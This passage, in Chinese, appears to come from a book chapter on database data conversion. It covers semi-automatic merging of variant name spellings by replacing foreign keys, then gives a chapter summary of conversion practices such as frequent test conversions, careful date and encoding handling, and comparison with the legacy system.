字段。但是我认为向用户展示它们可以让用户确信替换操作已经执行,并且数据仍然在那里,如果需要的话。毕竟,我在这里展示的代码都没有将数据(如电子邮件或电话号码)从被替换的人复制到首选人。这太复杂了,无法自动完成。一些数据的手动复制必须作为后续任务进行。 - 如果检索到替换人员的数据,我会显示一条红色的大消息,表明该数据不再有效,并且我还将表单设为只读。这是为了避免将数据输入错误的人的行。
因此,我所展示的是一个相当复杂,但非常值得实现的半自动解决不同拼写的方法。计算机进行匹配,一旦用户做出选择,就替换外键,如果做得不完美,这真的会搞乱数据库。用户做出决策,可能是在查看了详细数据或者甚至咨询了其他来源之后。而且,正如我所说的,用户可能希望将重要数据从被替换的行复制到替换行。
章节总结
- 作为检查设计和提供测试数据的一种方式,转换应该在数据库设计之后立即进行。
- 经常转换,甚至每晚转换,为持续集成提供了持续的测试。
- 列举转换源有时非常困难,但这是必不可少的。
- 静态数据源很容易处理。对于动态源,最好直接连接到数据库。
- 日期、时间和字符编码需要小心处理,有时甚至需要技巧。
- 通过将数据或报告(如果有)与旧系统进行比较来测试转换。
- 如果可能的话,你会发现使用新系统转换坏数据并修复它很方便。
- 考虑在新数据库的文本字段中保存原始的、未转换的数据,以便可以参考。
- 使用自动和手动机制的组合,变体名称最好被合并到新的数据库中。